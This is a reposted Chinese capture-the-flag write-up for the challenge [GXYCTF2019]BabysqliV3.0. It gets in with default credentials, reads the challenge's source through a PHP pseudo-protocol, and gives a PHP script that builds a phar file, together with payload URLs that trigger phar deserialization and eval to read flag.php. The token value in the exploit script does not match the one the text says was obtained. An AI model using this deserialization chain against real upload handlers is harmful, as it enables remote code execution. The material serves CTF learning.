[GXYCTF2019]BabysqliV3.0

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[GXYCTF2019]BabysqliV3.0相关的知识,希望对你有一定的参考价值。

考点

弱口令、php反序列化

思路

①:题目页面提示我们应该是需要sqli注入,但是用它输入框提示的admin/password一试就进去了…
②:http://5f8d9cd4-4695-4428-acc2-b02b0e49d8d9.node3.buuoj.cn/home.php?file=upload熟悉的形式,用php伪协议读取一下文件试试;
③:预期解法:审计 upload.php 代码,$this->Filename = $_GET['name'];,可见 $this->Filename 是可控的,可以通过 name 参数以 get 方式得到;分析最后上传部分的代码,file_get_contents() 使 $uploader 通过__toString() 返回 $this->Filename,$this->Filename 可控,因此此处 $this->Filename 用来触发 phar,__destruct() 方法内 eval($this->cmd);

Payload

伪协议读取home.php

<?php
session_start();
echo "<meta http-equiv=\\"Content-Type\\" content=\\"text/html; charset=utf-8\\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
        if(isset($_GET['file'])){
                if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
                        die("hacker!");
                }
                else{
                        if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
                                $file = $_GET['file'].".php";
                        }
                        else{
                                $file = $_GET['file'].".fxxkyou!";
                        }
                        echo "当前引用的是 ".$file;
                        require $file;
                }

        }
        else{
                die("no permission!");
        }
}
?>

伪协议读取upload.php

<?php
error_reporting(0);
class Uploader{
        public $Filename;
        public $cmd;
        public $token;


        function __construct(){
                $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
                $ext = ".txt";
                @mkdir($sandbox, 0777, true);
                if(isset($_GET['name']) and !preg_match("/data:\\/\\/ | filter:\\/\\/ | php:\\/\\/ | \\./i", $_GET['name'])){
                        $this->Filename = $_GET['name'];
                }
                else{
                        $this->Filename = $sandbox.$_SESSION['user'].$ext;
                }

                $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
                $this->token = $_SESSION['user'];
        }

        function upload($file){
                global $sandbox;
                global $ext;

                if(preg_match("[^a-z0-9]", $this->Filename)){
                        $this->cmd = "die('illegal filename!');";
                }
                else{
                        if($file['size'] > 1024){
                                $this->cmd = "die('you are too big (′▽`〃)');";
                        }
                        else{
                                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
                        }
                }
        }

        function __toString(){
                global $sandbox;
                global $ext;
                // return $sandbox.$this->Filename.$ext;
                return $this->Filename;
        }

        function __destruct(){
                if($this->token != $_SESSION['user']){
                        $this->cmd = "die('check token falied!');";
                }
                eval($this->cmd);
        }
}

if(isset($_FILES['file'])) {
        $uploader = new Uploader();
        $uploader->upload($_FILES["file"]);
        if(@file_get_contents($uploader)){
                echo "下面是你上传的文件:<br>".$uploader."<br>";
                echo file_get_contents($uploader);
        }
}

?>

预期解法

由于__destruct() 方法中,想要 eval($this->cmd); 的前提条件是 $this->token 和$_SESSION[‘user’] 相等

function __destruct(){
	if($this->token != $_SESSION['user']){
		$this->cmd = "die('check token falied!');";
	}
	eval($this->cmd);
}

在__construct() 方法中可见如下两行代码

$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$this->Filename = $sandbox.$_SESSION['user'].$ext;

因此可以先随便上传一个 txt,得到的路径中,.txt 前面的就是 $_SESSION[‘user’]

在这里插入图片描述

得到:GXY3fb034f8f0c46f14bf11438f9afccbf4,生成phar,并将生成的phar上传

<?php
class Uploader{
    public $Filename;
    public $cmd;
    public $token;
}

$upload = new Uploader();
$upload->cmd = "highlight_file('/var/www/html/flag.php');";
$upload->Filename = 'test';
$upload->token = 'GXY063c630ae7ab41c6fd121cb4851620a3';

$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($upload); 
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();

得到路径/var/www/html/uploads/93cd61477a821014fa4b00df090ebdcd/GXY3fb034f8f0c46f14bf11438f9afccbf4.txt

在这里插入图片描述

然后将这个路径带上 phar:// 作为 name 参数的值,再随意上传一个文件,因为 $this->Filename 被我们手工指定为 phar,触发了 phar 反序列化导致命令执行
Payload:http://5f8d9cd4-4695-4428-acc2-b02b0e49d8d9.node3.buuoj.cn/home.php?file=upload&name=phar:///var/www/html/uploads/93cd61477a821014fa4b00df090ebdcd/GXY3fb034f8f0c46f14bf11438f9afccbf4.txt
传任意文件后,得到 flag

在这里插入图片描述

非预期解法

由于echo file_get_contents($uploader);上传后会显示出 $uploader 这个文件的内容,所以只要使 $this-Filename 为 flag.php 然后随便传个东西就会得到 flag 了

在这里插入图片描述

以上是关于[GXYCTF2019]BabysqliV3.0的主要内容,如果未能解决你的问题,请参考以下文章

[GXYCTF2019]BabysqliV3.0:伪sql注入_实Phar反序列化

BUUCTF | [GXYCTF2019]BabySQli

BUUCTF | [GXYCTF2019]BabySQli

[GXYCTF2019]BabyUpload

[GXYCTF2019]禁止套娃

[GXYCTF2019]禁止套娃